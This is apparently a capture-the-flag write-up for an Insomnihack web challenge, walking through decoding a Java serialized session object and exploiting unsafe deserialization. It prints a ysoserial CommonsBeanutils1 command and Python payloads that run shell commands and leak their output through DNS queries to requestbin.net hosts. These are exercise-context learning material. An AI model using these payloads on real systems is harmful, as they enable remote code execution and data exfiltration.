Our company has been victim of a Ransomeware that damaged our "Secure share" website. Access to "Secure share" has been partially restored and traces of the malware have been deposited on it.
Can you help us retrieve our files?
http://defiltrate.insomnihack.ch/
So as the description shows, our target is to retrieve some files.
Opening the challenge gives us a login page :
We tried to understand the behaviour of the login form, Deducted that the username was admin as it gives a different response but we still couldn't get the password.
After messing around a bit with the login form, we were authenticated without even knowing the password. We don't know if this was intended or not but the admin of the challenge stated that
Whilst it may be possible, you should not be trying to log in with the creds. The flag is meant to be obtained otherwise.
The request and the session PINKYID
were saved in burp history so if we lost that page we can get back in as that was our only lead for now.
Now, we were presented with what looks like a cloud share for the admin
Clicking on that file malware_activity.pcapng
(which most probably contains the network traffic we need to analyze), nothing happens but the following request was sent to the server :
Here we can see that the VIEW
parameter has a base64 encoded value starting with rO0AB
which is the beginning of base64 encoded java serialized object
First, we tried to view what the object holds, so we used a tool called SerializationDumper.
We got an object containing 4 properties, the first part of the deserialization output contains some information about the object and its properties (type,name,length,..etc), scrolling down the output we can see the values of the properties:
values
m_b64Payload
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 0 - 0x00 00
Value - - 0x
m_login
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 04
Length - 5 - 0x00 05
Value - admin - 0x61646d696e
m_password
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 05
Length - 21 - 0x00 15
Value - I love pink ponies <3 - 0x49206c6f76652070696e6b20706f6e696573203c33
m_sessionID
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 06
Length - 2 - 0x00 02
Value - 42 - 0x3432
We now know that the admin's password is I love pink ponies <3
, there was a session ID
with a value of 42
, and an empty property called m_b64Payload
Trying the admin's credentials to login led us back to the login screen with no errors but gave us a new valid session to use.
At this point we had two options, either try to tamper with the data inside the object or try attacking unsafe deserialization assuming the server is using a vulnerable library
So, each of us tried approaching one of these possibilities in parallel.
First thing came in mind with the tampering part was to try changing the session ID
value to 0
or 1
.
We wrote this code to print the base64 value of the serialized object
import java.io.*;
import java.util.*;
class WebSession implements Serializable {
String m_b64Payload;
String m_login;
String m_password;
String m_sessionID;
}
public class NewClass {
public static void main(String [] args) {
WebSession e = new WebSession();
e.m_b64Payload = "eW91dHUuYmUvZFF3NHc5V2dYY1E=";
e.m_login = "admin";
e.m_password = "I love pink ponies <3";
e.m_sessionID = "1";
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( baos );
oos.writeObject( e );
oos.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
} catch (IOException i) {
i.printStackTrace();
}
}
}
The output was rO0ABXNyAApXZWJTZXNzaW9uKAE4Y+vl6IMCAARMAAxtX2I2NFBheWxvYWR0ABJMamF2YS9sYW5nL1N0cmluZztMAAdtX2xvZ2lucQB+AAFMAAptX3Bhc3N3b3JkcQB+AAFMAAttX3Nlc3Npb25JRHEAfgABeHB0ABxlVzkxZEhVdVltVXZaRkYzTkhjNVYyZFlZMUU9dAAFYWRtaW50ABVJIGxvdmUgcGluayBwb25pZXMgPDN0AAEx
Which gives an error when sending it to the website due to some bytes being different than the original one given by the website, so we modified these bytes by replacing KAE4Y+vl6IM
with AAAAAAAAAAE
in the base64 string but nothing happend unfortunately.
On the other end we approached the unsafe deserialization with ysoserial which is
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
We had no output so for a blind payload we went for DNS in case there is a firewall so our payload was a simple dig
to dnsbin, trying multiple libraries with no output until we tried CommonsBeanutils1
java -jar ysoserial.jar CommonsBeanutils1 'dig rce.ef8d2b0eafff5eb0e48f.d.requestbin.net' | base64 -w0
We got a DNS request to our bin, but in fact there was a firewall in place so we couldn't establish an OOB communication in a way other than DNS.
We started trying to execute commands using command substitution as subdomains to our DNS bin like $(whoami)
or using back ticks but for some reason they were escaped and sent as is without execution, we tried to use nslookup ourdns.com|bash
sending a request to our DNS server with a customized response but the piping in this case didn't work too.
After some trial and error we could leak data using these 2 commands in separate payloads
python -c open('/tmp/exfilterate','w').write(__import__('os').popen('ls').read().replace('\n','-')[:62]+'.6ec8bf6181774bda185e.d.requestbin.net')
and
dig -f /tmp/exfilterate
Note: spaces were not allowed in the python payload for some reason so we replaced it with chr(32)
The first payload runs a python code that executes bash commands and appending the result to a DNS bin domain then writes it to a file. The second one executes a dig
on the content of the file.
Executing the following command grep -rnw '/' -e INS
python -c open('/tmp/exfilterate','w').write(__import__('os').popen('grep'+chr(32)+'-rnw'+chr(32)+'/'+chr(32)+'-e'+chr(32)+'INS').read().replace('\n','-')+'.7d62a86d9d50bc553648.d.requestbin.net')
Resulted in a DNS request with the flag